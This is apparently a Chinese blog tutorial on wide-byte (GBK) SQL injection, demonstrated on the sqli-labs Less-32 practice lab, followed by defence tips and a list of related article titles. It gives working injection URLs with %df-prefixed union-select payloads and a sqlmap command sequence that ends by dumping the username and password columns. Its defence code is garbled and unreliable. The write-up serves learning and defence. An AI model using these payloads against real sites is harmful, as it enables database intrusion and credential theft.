SQL注入之宽字节注入

文章目录

  • SQL注入之宽字节注入
  • 前言
  • 一、什么是宽字节注入
  • 二、宽字节注入获取数据库信息
    • 1.宽字节注入方法
    • 2.宽字节注入防御方法
  • 总结

前言

一、什么是宽字节注入

宽字节是相对于ascII这样单字节而言的;像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节。GBK 是一种多字符的编码,通常来说,一个 gbk 编码汉字,占用2个字节。一个 utf-8 编码的汉字,占用3个字节。

转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义;

宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。

二、宽字节注入获取数据库信息

1.宽字节注入方法


宽字节注入原理
程序员防止注入点,在其后面加入\进行转义
利用在其后面注入点发现没有报错
http://192.168.222.4/sqli-labs/Less-32/?id=2%df%27

注入?id=1%df’ 出现报错,存在注入
http://192.168.222.4/sqli-labs/Less-32/?id=1’(不可以注入)
http://192.168.222.4/sqli-labs/Less-32/?id=1%df’
http://192.168.222.4/sqli-labs/Less-32/?id=1%df%27
MySQL在使用GBK编码时,两个字符组合,认为是一个汉字
%df’->%df’-> %df%5c%27(%df%5c是一个汉字)->(汉字)‘->id=(汉字)’ and (可以注入)

(1)用sqli-labs靶场进行演示,这里l利用32关进行练习
首先我们尝试进行注入在后面加’
http://192.168.222.4/sqli-labs/Less-32/?id=1’

发现没有报错,我们可以去看看源代码是怎么写的


发现注入的’ 被\转义了,无法进行注入
而且发现代码中用的是gbk编码,说明存在宽字节注入
mysql_query(“SET NAMES gbk”);

然后我们就可以进行宽字节注入,后面叫上%df’试试
http://192.168.222.4/sqli-labs/Less-32/?id=1%df’

发现报错,所以肯定存在宽字节注入,然后查询有多少列


发现存在3列,接下来尝试注入查找用户信息
http://192.168.222.4/sqli-labs/Less-32/?id=%df’ union select 1,(select user()),3–+

注入成功,查看当前数据库的表
http://192.168.222.4/sqli-labs/Less-32/?id=%df’ union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1),3–+

用户信息应该在users表中,接下来继续注入查看表中的信息,这里利用sqlmap进行注入查询,会比较方便
(2)打开sqlmap,输入
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1”

这里会显示id没有注入,没事,进行下一步宽字节注入
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df”

没有报错,接下来查当前用户
sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-user


查用户成功,接下来查库
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-db(查数据库)

sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security --tables(当前数据库有哪些表)

(当前表中有哪些字段)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users --column

(当前表中有哪些数据)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users -C username,password --dump(使用dump来获取内容)

2.宽字节注入防御方法

(1)使用utf-8,避免宽字节注入;
ps: 不仅在gbk,韩文,日文等等都是快字节注入漏洞

2.mysql_real_escape_string,mysql_set_charset('gbk,conn′);3.可以设置参数,charactersetclient=binary只需在该语句中插入conn'); 3.可以设置参数,character_set_client=binary 只需在该语句中插入conn′);3.可以设置参数,characters​etc​lient=binary只需在该语句中插入result=mysql_query($sql)即可
result=mysqlquery("charactersetclient=binary",result=mysql_query("character_set_client=binary",result=mysqlq​uery("characters​etc​lient=binary",sql);//就不会出现宽字节注入了

(2)这里总结一下sqlmap宽字节注入的使用语句

sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1”
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df”
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-user
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-db(查数据库)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security --tables(当前数据库有哪些表)

(当前表中有哪些字段)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users --column

(当前表中有哪些数据)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users -C username,password --dump(使用dump来获取内容)

总结

本次实验是对SQL注入的宽字节注入进行靶场练习,了解了宽字节注入的原理和注入方法,学会了对代码的审计,判断注入的方式,从而获取到用户的信息。

渗透测试-SQL注入之宽字节注入相关推荐

  1. ctf php sql注入,【CTF-Web Learning 1】0x01 SQL注入之宽字节注入

    0x01 前言 准备系统梳理和总结提高这一年所学的关于Web方面东西,如有问题欢迎指点. 在计算机中,字符的表示与存储都离不开编码.例如ASCII,utf-8,gbk2312等.通常字符的表示都只需1 ...

  2. mysql宽字节注入_(宽字节注入) 手注+sqlmap

    进入题目后先简单尝试一下. 很明显的宽字节注入. 宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码. 手工注入 1.判断列数: http://chinalo ...

  3. sql注入_1-8_宽字节注入

    文章目录 一.sql_宽字节注入概念 二.sql_宽字节注入源码分析 三.sql_宽字节注入演示 四.sql_宽字节注入总结 一.sql_宽字节注入概念 1.了解宽字节注入前,必须先了解字符集编码:点 ...

  4. mysql sql宽字节注入_sql注入之宽字节注入

    宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码 不过既然是sql注入的一部分,也搭建环境  做做实验 实验环境: wamp集成包 实 ...

  5. 盲注、报错注入、宽字节注入、堆叠注入学习笔记

    文章目录 一.盲注 二.报错注入 什么是报错注入 报错注入原理 报错注入的场景 常用报错函数 1.updatexml()(是mysql对xml文档数据进行查询和修改的xpath函数) 2.extrac ...

  6. 11、注入篇--宽字节注入

    注入基础 GBK 编码 两个字节表示一个字符 ASCII 编码 一个字节表示一个字符 MYSQL默认字节集是GBK等宽字节字符集 addslashes()函数 addslashes ( string ...

  7. 渗透测试学习笔记(一)注入篇-盲注 二次注入 宽字节注入

    时间注入攻击 sleep() 利用函数if(条件,结果1,结果2) len id = 1 and  if(length(database())>1,sleep(5),1) 首先猜解表名称长度 s ...

  8. 渗透测试小菜鸡开课了-SLQ注入分类

    本人是一名信息安全专业的在校生,写文章的目的是记录每日的学习心得,打下更加牢固的基础,以及写一些收集到的信息供各位走过路过的同学参考与讨论,同时也是希望给一些超级超级的新手对于渗透测试的学习提供点材料 ...

  9. mysql注入转义绕过_SQL注入防御绕过——宽字节注入

    01 背景知识 字符集 在了解宽字节注入之前,我们先来看一看字符集是什么.字符集也叫字符编码,是一种将符号转换为二进制数的映射关系. 几种常见的字符集: ASCII编码:单字节编码 latin1编码: ...

  10. php 宽字节注入 转成utf8,Hr-Papers|宽字节注入深度讲解

    /*Team:红日安全团队团队成员:CPRTitle:宽字节注入*/ 原理介绍 基本概概念宽字节是相对于ascII这样单字节而言的:像GB2312.GBK.GB18030.BIG5.Shift_JIS ...

最新文章

  1. adc 接收cube_官方的stm32cube软件教程实例ADC操作代码(官方自带的,可以无视
  2. 在 ASP.NET 中执行 URL 重写
  3. Java并发编程开发笔记——2线程安全性
  4. vue中Router的封装以及使用
  5. React开发(110):注意state定义的数据类型
  6. python编写登录_通过Python编写一个简单登录功能过程解析
  7. Windows手机开发工具与资源
  8. Lesson 2 Gradient Desent
  9. centos7安装MySql(yum方式)
  10. yue-library是一个基于SpringBoot封装的基础库
  11. 1. HTML DOM Document 对象
  12. python推荐系统算法朴素贝叶斯_Java实现的朴素贝叶斯算法示例
  13. 案例上手 Spring 全家桶
  14. C# Excel绘制组合图
  15. 【学习记录】【python】【tkinter】自学tkinter的简要记录
  16. u盘文件名乱码linux,U盘文件夹变空文件夹的文件名乱码的修复方法
  17. centos8安装和启动中文智能拼音
  18. C++ 几种智能指针的简单实现
  19. 骁龙888发布,小米11首发,有14家厂商首批搭载!
  20. html5基于Echarts制作3D炫酷世界地图地球制作,地图勾起动画,非常炫酷。

热门文章

  1. html中如何写平方根等,开方符号 数学符号平方根号等怎么输入
  2. 智能指针(三):weak_ptr浅析
  3. 关于我如何解决了xlsm文件格式的问题
  4. python中除法带小数点_python 除法保留两位小数点的方法
  5. NYOJ-366:D的小L
  6. 关于CDN那些名词,你知道吗?
  7. 关于boost和loki的智能指针
  8. 发布Flv合并器的.net版
  9. 计算机硬件知识的意义,认识计算机硬件教案
  10. Spring Cloud Hystrix 全解 (1) - 总览篇